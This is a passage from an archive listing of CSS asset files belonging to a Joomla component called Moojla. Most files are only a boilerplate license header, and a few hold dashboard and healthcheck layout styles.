.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/cohorts.css000064400000002050151165724360011040
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		cohorts.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/content.css000064400000002050151165724360011031
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		content.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/contents.css000064400000002051151165724360011215
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		contents.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/course.css000064400000002047151165724360010665
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/courses.css000064400000002050151165724360011042
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		courses.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/course_fields_mapper.css000064400000002065151165724360013557
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course_fields_mapper.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/course_field_mapper.css000064400000002064151165724360013373
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course_field_mapper.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/course_group_map.css000064400000002061151165724360012732
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course_group_map.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/course_group_maps.css000064400000002062151165724360013116
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course_group_maps.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/dashboard.css000064400000012227151165724360011315
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		dashboard.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */

.dashboard-container {
    margin-left: 10px;
    margin-top: 10px;
    width: 100%;
}
.dashboard-container [class*="span"] {
    display: block;
    float: none;
    margin-left: 0;
    width: auto;
}
.dashboard-container:before, .dashboard-container:after {
    content: "";
    display: table;
}
.dashboard-container:after {
    clear: both;
}
.dashboard-container [class*="span"] {
    box-sizing: border-box;
    display: block;
    float: left;
    min-height: 145px;
    min-width: 96px;
    width: 100%;
}
.dashboard-container [class*="span"]:first-child {
    margin-left: 0;
}
.dashboard-wraper {
    background: none repeat scroll 0 0 hsl(0, 0%, 93%);
    border-radius: 5px;
    float: left;
    margin: 1%;
    padding: 3px;
    width: 17%;
    min-height: 194px;
    min-width: 96px;
}
.dashboard-content a {
    background: linear-gradient(to bottom, hsl(0, 0%, 100%) 0%, hsl(0, 0%,
96%) 47%, hsl(0, 0%, 93%) 100%) repeat scroll 0 0 hsla(0, 0%, 0%, 0);
    border: 1px solid hsl(0, 0%, 85%);
    border-radius: 4px;
    box-shadow: 0 0 3px hsla(0, 0%, 0%, 0.1) inset;
    color: hsl(0, 0%, 20%);
    display: block;
    min-height: 89px;
    padding: 10px;
    text-align: center;
    text-decoration: none;
}
.dashboard-content a:hover {
    background: linear-gradient(to bottom, hsl(0, 0%, 90%) 0%, hsl(0, 0%,
100%) 100%) repeat scroll 0 0 hsla(0, 0%, 0%, 0);
    color: hsl(200, 100%, 30%);
    text-decoration: none;
}
.dashboard-title {
    display: block;
    padding-top: 5px;
}
.dashboard-info {
    background: linear-gradient(to bottom, hsl(0, 0%, 100%) 0%, hsl(0, 0%,
96%) 47%, hsl(0, 0%, 93%) 100%) repeat scroll 0 0 hsla(0, 0%, 0%, 0);
    border: 1px solid hsl(0, 0%, 85%);
    border-radius: 4px;
    box-shadow: 0 0 3px hsla(0, 0%, 0%, 0.1) inset;
    color: hsl(0, 0%, 20%);
    display: block;
    font-size: 12px;
    padding: 10px;
    text-align: center;
}
.dashboard-info span {
    display: block;
    text-align: center;
}
.dashboard-info img {
    margin: 0 auto;
}
.dashboard-table {
    border-top: 1px solid hsl(0, 0%, 87%);
    margin-top: 5px;
    width: 100%;
}
.dashboard-info h5 {
    font-size: 11px;
    font-weight: bold;
}
.dashboard-block {
    background: linear-gradient(to bottom, hsl(0, 0%, 95%) 0%, hsl(0, 0%,
86%) 100%) repeat scroll 0 0 hsla(0, 0%, 0%, 0);
    border: 1px solid hsl(0, 0%, 76%);
    border-radius: 3px;
    box-shadow: 0 1px 0 hsl(0, 0%, 98%) inset;
    margin-bottom: 20px;
}
.dashboard-block .dashboard-block-head {
    background: linear-gradient(to bottom, hsl(0, 0%, 95%) 0%, hsl(0, 0%,
86%) 100%) repeat scroll 0 0 hsla(0, 0%, 0%, 0);
    border-bottom: 1px solid hsl(0, 0%, 76%);
    border-radius: 3px 3px 0 0;
    box-shadow: 0 1px 0 hsl(0, 0%, 98%) inset, 0 0 3px hsl(0, 0%, 87%);
    height: 40px;
    position: relative;
}
.dashboard-block .dashboard-block-head h5 {
    font-size: 12px;
    margin: 0;
    padding-left: 10px;
    padding-top: 11px;
    text-transform: uppercase;
}
.dashboard-block .dashboard-block-content {
    background: none repeat scroll 0 0 hsl(0, 0%, 93%);
    border-radius: 0 0 3px 3px;
}
.dashboard-block .dashboard-block-box {
    background: none repeat scroll 0 0 hsl(0, 0%, 100%);
    border-top: 1px solid hsl(0, 0%, 82%);
    box-shadow: 0 0 5px hsl(0, 0%, 87%) inset;
}
.dashboard-block .dashboard-block-content .dashboard-block-box {
    margin-top: 0 !important;
}
.dashboard-block .dashboard-block-content .dashboard-block-box
.dashboard-block-table {
    margin-bottom: 0 !important;
}
.dashboard-block-table {
    background-color: hsla(0, 0%, 0%, 0);
    border-collapse: collapse;
    border-spacing: 0;
    margin-bottom: 20px;
    max-width: 100%;
    width: 100%;
}
.dashboard-block-table th, .dashboard-block-table td {
    border-top: 1px solid hsl(0, 0%, 87%);
    line-height: 20px;
    padding: 5px;
    text-align: left;
    vertical-align: middle;
}
.dashboard-badge {
    background-color: hsl(0, 0%, 60%);
    border-radius: 9px;
    color: hsl(0, 0%, 100%);
    font-size: 11.844px;
    font-weight: bold;
    line-height: 14px;
    padding: 1px 9px 2px;
    text-shadow: 0 -1px 0 hsla(0, 0%, 0%, 0.25);
    vertical-align: baseline;
    white-space: nowrap;
}assets/css/enrolment.css000064400000002052151165724360011364
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		enrolment.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/enrolments.css000064400000002053151165724360011550
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		enrolments.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/healthcheck.css000064400000002232151165724360011624
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		healthcheck.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */

ul.users li:nth-child(n+6) {
    display:none;
}
.showmore-btn {
    cursor: pointer;
    color: #f00;
}
assets/css/index.html000064400000000054151165724360010644
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>assets/css/languagetranslation.css000064400000002064151165724360013426
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		languagetranslation.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/module.css000064400000002047151165724360010652
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		module.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/modules.css000064400000002050151165724360011027
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		modules.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/section.css000064400000002050151165724360011023
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		section.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/sections.css000064400000002051151165724360011207
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		sections.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/tag.css000064400000002044151165724360010135
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		tag.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/tags.css000064400000002045151165724360010321
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		tags.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/tag_instance.css000064400000002055151165724360012023
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		tag_instance.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/tag_instances.css000064400000002056151165724360012207
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		tag_instances.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/user_fields_map.css000064400000002060151165724360012521
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		user_fields_map.css
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

/* CSS Document */


assets/css/user_field_map.css000064400000002057151165724360012344
0ustar00/*----------------------------------------------------------------------------------|
